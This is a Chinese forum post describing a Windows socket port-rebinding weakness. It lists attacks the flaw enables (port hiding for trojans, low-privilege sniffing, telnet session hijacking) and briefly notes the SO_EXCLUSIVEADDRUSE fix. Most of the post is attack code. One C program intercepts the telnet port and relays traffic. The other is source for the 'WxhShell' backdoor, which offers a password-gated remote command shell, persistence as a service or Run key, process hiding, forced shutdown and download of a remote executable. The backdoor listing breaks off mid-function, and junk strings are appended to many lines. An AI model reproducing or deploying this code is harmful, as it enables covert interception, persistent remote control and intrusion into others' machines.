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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -"u9s[L{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9~8UG (  
?S9!;x<  
  saddr.sin_family = AF_INET; P I gbeP  
Ra\>^W6z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N%1T>cp0  
=d#3& R]p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %xE9vN;  
XdKhT618G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8$ SA"c)  
`mU'{  
  这意味着什么?意味着可以进行如下的攻击: #!,tId  
oM`[&m.,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s`2Hf&%aZJ  
dpHK~n j\_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N O|&nqq,>  
G.KZZ-=_4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VGLE5lP X  
(h NSzG\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _<?lP$Xr  
wgm?lfX<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _KSYt32N  
cC'{+j8-a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?zwPF;L*  
R8 1z|+c|_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |2,'QTm=  
l@-J&qG  
  #include OSc&n>\t  
  #include cnh\K.*}_x  
  #include 5Qb%g )jZ  
  #include    8$ dJh]\Y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u_.`I8qa  
  int main() Y }*[Krw  
  { I4%&/~!  
  WORD wVersionRequested; Q<$I,C]  
  DWORD ret; FuEgI8+b  
  WSADATA wsaData; {}ks[%,_\  
  BOOL val; o,a 3J:j]  
  SOCKADDR_IN saddr; 9OYsI  
  SOCKADDR_IN scaddr; +R}(t{b#  
  int err; > <WR]`G  
  SOCKET s; g0@i[&A@{  
  SOCKET sc; KD]8n]c  
  int caddsize; %a-:f)@  
  HANDLE mt; 8NLTq|sW  
  DWORD tid;   }a= &o6=  
  wVersionRequested = MAKEWORD( 2, 2 ); 0( fN  
  err = WSAStartup( wVersionRequested, &wsaData ); Rg! [ic !  
  if ( err != 0 ) { >SA?lG8f%  
  printf("error!WSAStartup failed!\n"); E]PHO\f-m}  
  return -1; 7T \}nX1  
  } CrHH Ob  
  saddr.sin_family = AF_INET; a}l^+  
   \ ]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1=C>S2q  
3| 5Af  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `PI,tmv!  
  saddr.sin_port = htons(23); WZ}c)r*R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "qEHK;  
  { SJhcmx+  
  printf("error!socket failed!\n"); mO$]f4}  
  return -1; &E.ckWf  
  } #&vP(4p  
  val = TRUE; kb>:M.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Yv!%Is  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +.UdEIR";M  
  { 9H5S@w[je  
  printf("error!setsockopt failed!\n"); f`@$ saFD  
  return -1; ^` N+mlh  
  } XYD}OddO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )]Xj"V2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V6'"J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y=JfV  
(hTe53d<S?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o$I% 1  
  { +,=DUsI}  
  ret=GetLastError(); <_&H<]t%rI  
  printf("error!bind failed!\n"); > t *+FcD  
  return -1; kDuN3  
  } ws:@Pe4AF  
  listen(s,2); |}paa  
  while(1) FVkb9(WW  
  { IDbqhZp(  
  caddsize = sizeof(scaddr); $5aRu,  
  //接受连接请求 \gferWm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Kx.I'_Qk  
  if(sc!=INVALID_SOCKET) =\Td~>  
  { +5(#~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B5"(NJ;  
  if(mt==NULL) xMI4*4y(  
  { [>xwwm  
  printf("Thread Creat Failed!\n"); hR" j[  
  break; C Sx V^  
  } F8S -H"  
  } Gz;.?=&iF  
  CloseHandle(mt); d0YN :lJc  
  }  ~0 <?^  
  closesocket(s); zrYhx!@  
  WSACleanup(); bY:A7.p7#  
  return 0; omQa N#!,  
  }   C5;=!B  
  DWORD WINAPI ClientThread(LPVOID lpParam)  6jFc'  
  { C*kGB(H7  
  SOCKET ss = (SOCKET)lpParam; &6nOCU)  
  SOCKET sc; 4bD^Kc 4\  
  unsigned char buf[4096]; 1wpT"5B  
  SOCKADDR_IN saddr; D{YAEG   
  long num; 4f/2gI1@B  
  DWORD val; zJNiAc  
  DWORD ret; -d? 9Acd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3uO#/EbS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `MFw2nu@t  
  saddr.sin_family = AF_INET; co<-gy/mCR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qQC<oR  
  saddr.sin_port = htons(23); wzhM/Lmo\z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :eqDEmr>  
  { \"BoTi'2!  
  printf("error!socket failed!\n"); / *J}7  
  return -1; isK~=  
  } C=L_@{^Rgb  
  val = 100; t b5k|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kW>Q9Nc=V  
  { z+5l: f  
  ret = GetLastError(); ~[bS+ ]d!  
  return -1; i{zg{$U  
  } UD6D![e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w7NJ~iy  
  { 8:hUj>q x  
  ret = GetLastError(); [|PVq#(  
  return -1; x]|8  
  } B,?Fjot#m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uKF?UXc  
  { )2T1g~8  
  printf("error!socket connect failed!\n"); iQsv^K!\  
  closesocket(sc); W,~s0a!  
  closesocket(ss); K 8CjZpzq  
  return -1; 5^lroC-(x  
  } vq yR aaMf  
  while(1) X^mv sY  
  { cbvK;;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7Yp;B:5@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ro{q':Z3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]nE_(*w  
  num = recv(ss,buf,4096,0); m~Q]#r  
  if(num>0) nHxos` Qx  
  send(sc,buf,num,0); $ c4Q6w  
  else if(num==0) O<nJbsl_w  
  break; c]:sk[u  
  num = recv(sc,buf,4096,0); F4+mkB:w*7  
  if(num>0) , |SO'dG  
  send(ss,buf,num,0); OM5"&ZIZb  
  else if(num==0) .`4N#EjP  
  break; _%#Q \ D  
  } WbZ{) i  
  closesocket(ss); Ezw(J[).C  
  closesocket(sc); x9}D2Ui  
  return 0 ; H'68K8i0  
  } p] kpDx[9  
?d`?Ss;v  
ZzfGs  
========================================================== |0nbO2}  
lN94 b3_W  
下边附上一个代码,,WXhSHELL BEM_y:#  
ct='Z E  
========================================================== p-n_ ">7  
.-[uQtyWW  
#include "stdafx.h" D )z'FOaI  
q]Gym 7o  
#include <stdio.h>  R~u0!  
#include <string.h> DArEIt6Q  
#include <windows.h> [OJ@{{U%  
#include <winsock2.h> K%9PIqK?4  
#include <winsvc.h> ;EstUs3  
#include <urlmon.h> ;} ),6R  
Z M"J5}h  
#pragma comment (lib, "Ws2_32.lib") 4Fhiac  
#pragma comment (lib, "urlmon.lib") L12m ;  
 `=b)fE  
#define MAX_USER   100 // 最大客户端连接数 0JTDJZOz@#  
#define BUF_SOCK   200 // sock buffer O[[:3!6q  
#define KEY_BUFF   255 // 输入 buffer h _6QVab@  
hl}@ha4'  
#define REBOOT     0   // 重启 .QX|:]|n  
#define SHUTDOWN   1   // 关机 =&?}qa(P  
JzH\_,,  
#define DEF_PORT   5000 // 监听端口 0KqGJ :Ru  
v{4K$o  
#define REG_LEN     16   // 注册表键长度 w :2@@)pr  
#define SVC_LEN     80   // NT服务名长度 Sd?:+\bS;  
:@KU_U)\  
// 从dll定义API i-!Z/,oL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sxM0c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]F5?>du@~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ##VS%&{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g+8{{o=  
yv| |:wZC  
// wxhshell配置信息 $(v1q[ig  
struct WSCFG { B6~a `~"  
  int ws_port;         // 监听端口 lVY`^pw?  
  char ws_passstr[REG_LEN]; // 口令 !fF1tW  
  int ws_autoins;       // 安装标记, 1=yes 0=no D-*`b&i48  
  char ws_regname[REG_LEN]; // 注册表键名 S8;Dk@rr(y  
  char ws_svcname[REG_LEN]; // 服务名 ") kE 1D%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 clK3kBh~&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C!xqp   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z#.J>_u )  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D%k%kg0,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vtw{ A}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |0YDCMq(  
8v)pPJr  
}; FEgM4m.(G<  
Ho[Kxe[c  
// default Wxhshell configuration +^$FA4<~  
struct WSCFG wscfg={DEF_PORT, @$'k1f(u>  
    "xuhuanlingzhe", ?H8w/{J   
    1, Dg~r%F  
    "Wxhshell", gaBt;@?:Q  
    "Wxhshell", -;=0dfC(  
            "WxhShell Service", b0PqP<{t  
    "Wrsky Windows CmdShell Service", tcOgF:  
    "Please Input Your Password: ", +r[u4?  
  1, bTB/M=M  
  "http://www.wrsky.com/wxhshell.exe", nTO,d$!Kp  
  "Wxhshell.exe" 4$9WJ ~V{  
    }; -1t"(v  
xZAc~~9tD  
// 消息定义模块 6wH]W+A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9?<WRM3a>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =N,9#o6^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mKY}+21!Q  
char *msg_ws_ext="\n\rExit."; vfAR^*7e  
char *msg_ws_end="\n\rQuit."; >0kn&pe7#T  
char *msg_ws_boot="\n\rReboot..."; y7aBF13Kl  
char *msg_ws_poff="\n\rShutdown..."; HHa XK  
char *msg_ws_down="\n\rSave to "; cn (-{dCXM  
2Jo'!|]  
char *msg_ws_err="\n\rErr!"; Cv{>|g#  
char *msg_ws_ok="\n\rOK!"; 0g% `L_e_  
tqyR~  
char ExeFile[MAX_PATH]; ^qXc%hjg  
int nUser = 0; '5zolp%St  
HANDLE handles[MAX_USER]; oiYI$ql3L  
int OsIsNt; fR<_4L  
>?K@zsv}  
SERVICE_STATUS       serviceStatus; xaQ]Vjw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ("UcjB^62  
-g8G47piX:  
// 函数声明 K!^x+B|  
int Install(void); G3]TbU!!T  
int Uninstall(void); zr%2oFeX,  
int DownloadFile(char *sURL, SOCKET wsh); 'Ba Ba=  
int Boot(int flag); $/</J]2`;  
void HideProc(void); +{Yd\{9  
int GetOsVer(void); 9[}L=n  
int Wxhshell(SOCKET wsl); ]pi"M 3f_  
void TalkWithClient(void *cs); n'a=@/  
int CmdShell(SOCKET sock); ig Fz~  
int StartFromService(void); !-1UJqO  
int StartWxhshell(LPSTR lpCmdLine); +[C(hhk("  
&r s+x<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rn3GBWC_C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rvjPm5[t  
6$-Ex  
// 数据结构和表定义 t-_~jZ<  
SERVICE_TABLE_ENTRY DispatchTable[] = 0~{jgN~  
{ 3u+A/  
{wscfg.ws_svcname, NTServiceMain}, c p.c$  
{NULL, NULL} E0QrByr_  
}; )P    
vd`;(4i#X  
// 自我安装 GUyMo@g  
int Install(void) KhK:%1po  
{ Gkci_A*  
  char svExeFile[MAX_PATH]; @-y.Y}k#$~  
  HKEY key; UMsJg7~  
  strcpy(svExeFile,ExeFile); *aF#on{  
h^ wu8E   
// 如果是win9x系统,修改注册表设为自启动 ^PDz"L<*  
if(!OsIsNt) { RGd@3OjN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aOZSX3;wg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vAZc.=+ >  
  RegCloseKey(key); +\~.cP7[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :%ms6j/B&V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sx{vZS3  
  RegCloseKey(key); #~]S  
  return 0; SSH))zJ  
    } H4DM,.04  
  } Q?df5{6  
} i?" ~g!A  
else { ,e\'Y!'  
;{mKt%#  
// 如果是NT以上系统,安装为系统服务 ! h7?Ap  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :t?Z  
if (schSCManager!=0) h!l&S2)D`  
{ :l~^un|<2Y  
  SC_HANDLE schService = CreateService -Lh\]  
  ( UYJMW S=  
  schSCManager, u0^Vy#@_  
  wscfg.ws_svcname, TC7&IqT  
  wscfg.ws_svcdisp, c^$_epc*  
  SERVICE_ALL_ACCESS, LLE\;,bv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x'dU[f(  
  SERVICE_AUTO_START, ;!H<W[  
  SERVICE_ERROR_NORMAL, R+vago:  
  svExeFile, i*-[-hn-V  
  NULL, ~,j52obR6Z  
  NULL, I =G3  
  NULL, >2Z0XEe  
  NULL, @'UbTB!  
  NULL YC(7k7  
  ); -E, d)O`;$  
  if (schService!=0) XL9smFq  
  { Cu*+E%P9`  
  CloseServiceHandle(schService); >TZ 'V,  
  CloseServiceHandle(schSCManager); uL!QeY>k\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oSd TQ$U!D  
  strcat(svExeFile,wscfg.ws_svcname); -!d'!; ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^d2#J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _:(RkS!x  
  RegCloseKey(key); OR84/^>  
  return 0; 2% ],0,o  
    } ./SDZ:5/  
  } xi5G?r  
  CloseServiceHandle(schSCManager); PeD>mCvL"  
} ]B8`b  
} 04;E^,V  
4yOYw*X  
return 1; (>~:1  
} `" BFvF#  
s2SxMFDP  
// 自我卸载 q [}<LU  
int Uninstall(void) S5o\joc  
{ T22 4L.?  
  HKEY key; ]O}TK^%  
O9%`G  
if(!OsIsNt) { N{/):O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zVEG ) Hr  
  RegDeleteValue(key,wscfg.ws_regname); Vr/UY79  
  RegCloseKey(key); (2 nSZRB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EI+RF{IKh  
  RegDeleteValue(key,wscfg.ws_regname); "==fWf  
  RegCloseKey(key); =rL%P~0wq  
  return 0; W4MU^``   
  } I8ZBs0sfF{  
} zG IxmJ.  
} 1f 3c3PJ  
else { [)efh9P*  
EKQ\MC1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q!L@9&KAQ  
if (schSCManager!=0) hJ~Na\?w  
{ &m{SWV+   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (!cG*FrN  
  if (schService!=0) R1sWhB99  
  { g|STegg  
  if(DeleteService(schService)!=0) { sd5%Szx  
  CloseServiceHandle(schService); &A/k{(.XP  
  CloseServiceHandle(schSCManager); 4F[4H\>'  
  return 0; \zCw&#D0Z  
  } _E\Cm  
  CloseServiceHandle(schService); H$D),s gv  
  } <b JF&,  
  CloseServiceHandle(schSCManager); :mYVHLmea  
} c{"=p8F_  
} azK7kM~  
?nf!s J'm  
return 1; =6.4  
} /)+V(Jlu  
dG8_3T}i  
// 从指定url下载文件 ww? AGd  
int DownloadFile(char *sURL, SOCKET wsh) j\hI, mc  
{ d76nyQKK  
  HRESULT hr; nYFM^56>_  
char seps[]= "/"; `jHbA#sO  
char *token; }}?,({T|n  
char *file; zf4\V F  
char myURL[MAX_PATH]; 3Q0g4#eP  
char myFILE[MAX_PATH]; \\R$C  
p<Oz"6_/~  
strcpy(myURL,sURL); ax)>rP,V  
  token=strtok(myURL,seps); Q9G\T:^ury  
  while(token!=NULL) ?)-#\z=6G  
  { |Eyn0\OA  
    file=token; #fGI#]SG?  
  token=strtok(NULL,seps); {s7 3(B"  
  } =)c^ik%F&  
C@o8C%o  
GetCurrentDirectory(MAX_PATH,myFILE); #Sc9&DfX  
strcat(myFILE, "\\"); o=]\Jy  
strcat(myFILE, file); MlKSjKl" !  
  send(wsh,myFILE,strlen(myFILE),0); mb\"qD5  
send(wsh,"...",3,0); Svicw`uX0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -~_[2u^3  
  if(hr==S_OK) ,K W IuCU;  
return 0; 7oy}<9  
else Tr@|QNu  
return 1; wU}%]FqtZ=  
&7J-m4BI  
} <jAn~=Uq[,  
4 (c{%%  
// 系统电源模块 m[}@\y  
int Boot(int flag) -F$v`|(O+  
{ % lK/2-  
  HANDLE hToken; "@^^niSFl  
  TOKEN_PRIVILEGES tkp; Ga]\~31NE  
f2LiCe.?  
  if(OsIsNt) { koojF|H>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^TZ`1:oL#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;Yve m  
    tkp.PrivilegeCount = 1; +HT?> k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ur9L8EdC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B&+)s5hh  
if(flag==REBOOT) { dW5@Z-9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,;@v Vm'}  
  return 0; FP<mFqy  
} 1/ 3<u::  
else { e>T;'7HSS"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) po!bRk[4  
  return 0; Zmc"  
} Gk']Ma2J}  
  } G' '9eV$  
  else { B#;6z%WK  
if(flag==REBOOT) { dQs>=(|t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a=4 `C*)  
  return 0; r_hs_n!6  
} >ZwDcuJ~Lz  
else { *djVOC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ) ^`V{iD  
  return 0; G]n_RP$G  
}  Al1}Ir   
} U#G<cV79  
2!_DkE  
return 1; 8F K%7\V  
} %M,^)lRP  
6z5wFzJv?q  
// win9x进程隐藏模块 /.WIED}>  
void HideProc(void) az1#:Go  
{ K (,MtY*  
^o87qr0g]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8#nAs\^  
  if ( hKernel != NULL ) #62*'.B4  
  { I {%Y0S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R > [2*o"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VkkC;/BBW  
    FreeLibrary(hKernel); Jsa]RA  
  } 7 <ZGNxZ~  
gHtflS  
return; f hjlt#  
} H+ 7HD|GE  
(?x R<]~g*  
// 获取操作系统版本 y8ODoXk  
int GetOsVer(void) ,R\ex =c  
{ N*f ]NCSi  
  OSVERSIONINFO winfo; w\RYxu?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jcp6-XM  
  GetVersionEx(&winfo); 25j?0P"&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d%K&  
  return 1; V-(*{/^"  
  else D}`MY\H  
  return 0; t2Px?S?  
} TQtHU6  
%O$=%"D6  
// 客户端句柄模块 R"y xpw  
int Wxhshell(SOCKET wsl) ;$67GK  
{ AqAL)`#K  
  SOCKET wsh; P(UY}oU  
  struct sockaddr_in client; +G6 Ge;  
  DWORD myID; 0a2#36;_IK  
j 8)*'T  
  while(nUser<MAX_USER) dZY|6  
{ rJ{k1H>  
  int nSize=sizeof(client); Kk,u{EA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R=3|(R+kA  
  if(wsh==INVALID_SOCKET) return 1; +K s3  
"rrw~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vm7ag 7@O  
if(handles[nUser]==0) Rk-G| 52g  
  closesocket(wsh); <TTBIXV  
else A34O(fE  
  nUser++; -,Js2+QZ#  
  } ~z(0XKq0d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'ka}x~EF  
rd;E /:`5  
  return 0; *'*,mfk[  
} ;9Qxq]  
|~@yXc5a  
// 关闭 socket  au]W*;x  
void CloseIt(SOCKET wsh) $:yIe.F  
{ vJ{F)0 K  
closesocket(wsh); oE_*hp+  
nUser--; =w3cF)&  
ExitThread(0); 1*e7NJ/.,  
} 9^8_^F  
C[';B)a  
// 客户端请求句柄 e=s({V  
void TalkWithClient(void *cs) },{sJ0To  
{ k[}WYs+r  
iL!4r]~H  
  SOCKET wsh=(SOCKET)cs; vQGv4  
  char pwd[SVC_LEN]; j]U~ZAn,K  
  char cmd[KEY_BUFF]; wv`ar>qVL  
char chr[1]; b%KcS&-6  
int i,j; KG4zjQf  
vw$b]MO!  
  while (nUser < MAX_USER) { nly}ly Q/  
9f/l"  
if(wscfg.ws_passstr) { oVr:ZwkG3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;<*USS6X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); III:j hh  
  //ZeroMemory(pwd,KEY_BUFF); ">M&/}4  
      i=0; IEd?-L  
  while(i<SVC_LEN) { 8;"9A  
}ik N  
  // 设置超时 Ct^=j@g  
  fd_set FdRead; )H`V\ H[0P  
  struct timeval TimeOut; %Eugy  
  FD_ZERO(&FdRead); ;n.h!wmJ}  
  FD_SET(wsh,&FdRead); G^cMY$?99  
  TimeOut.tv_sec=8; /;T tMQt  
  TimeOut.tv_usec=0; cNikLd~?A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >5E1y!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;W|GUmADf  
0_AIKJrL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HRJ\H- V  
  pwd=chr[0]; #k1IrqUp  
  if(chr[0]==0xd || chr[0]==0xa) { L]H' ]wpn=  
  pwd=0; N`{ 6<Z0  
  break; ZNl1e'  
  } >K&chg@Hv  
  i++; c[V.j+Iy#^  
    } I5Ty@J#  
YNl".c  
  // 如果是非法用户,关闭 socket (.iwD&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sIbPMu`&U  
} O)DAYBv^  
Wsp c ;]&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;" D~F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +6}CNC9Mp  
>|`1aCg,  
while(1) { :P ]D`b6p  
H}lz_#Z  
  ZeroMemory(cmd,KEY_BUFF); X Ai0lN{,  
1M 6^Brx  
      // 自动支持客户端 telnet标准   =HB(N|9_d  
  j=0; EiaP1o  
  while(j<KEY_BUFF) { i`Qa7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9 ~$E+ m(  
  cmd[j]=chr[0]; <o[3*59  
  if(chr[0]==0xa || chr[0]==0xd) { W'=}2Y$]u  
  cmd[j]=0; azNv(|eeJL  
  break; *wsZ aQ  
  } 4<vi@,s  
  j++; I(WIT=Wi<  
    } Y@< j vH1  
=}@1Z~  
  // 下载文件 %!AzFL J|Z  
  if(strstr(cmd,"http://")) { Vugb;5Vl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #qUGc`  
  if(DownloadFile(cmd,wsh)) uix/O*^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kma>'P`G  
  else ,L.V>Ae  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _"OE}$C  
  } LE)$_i8gX  
  else { @Kn@j D;  
Jh<s '&FR  
    switch(cmd[0]) { OSLZ7B^  
  ^fyue~9u  
  // 帮助 ,KD?kSIf  
  case '?': { z;?j+ZsdH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 00s)=A_  
    break; XPZ8*8JL  
  } k.jBu  
  // 安装 Rry] 6(  
  case 'i': { -rjQ^ze  
    if(Install()) AlG5n'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /u_9uJ"-K(  
    else l]#=I7 6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7lA_*t@y  
    break; #, #:{&H  
    } ?FUK_]  
  // 卸载 +]z Rn  
  case 'r': { #D%6b  
    if(Uninstall()) Mu-kvgO`L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Owgy<@C  
    else ^nNpT!o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +A^|aQ  
    break; Lz p}<B  
    } tZVs0eVF<  
  // 显示 wxhshell 所在路径 C^5 V  
  case 'p': { \x\N?$`ANc  
    char svExeFile[MAX_PATH]; >T\@j\X4  
    strcpy(svExeFile,"\n\r"); ]h&1|j1  
      strcat(svExeFile,ExeFile); O:a=94  
        send(wsh,svExeFile,strlen(svExeFile),0); >dJ~  
    break; $+ N~Fa  
    } `W" ;4A  
  // 重启 ij~-  
  case 'b': { S0gxVd(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h^qZi@L  
    if(Boot(REBOOT)) F u^j- Io  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f [.'V1  
    else { rlawH}1b  
    closesocket(wsh); ~Hv>^u Mh  
    ExitThread(0); hW/Ve'x[  
    } (i1x<  
    break; WHOX<YJs  
    } Iz-mUD0;  
  // 关机 Q<g>WNb  
  case 'd': { /Hq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~tV7yY|zr  
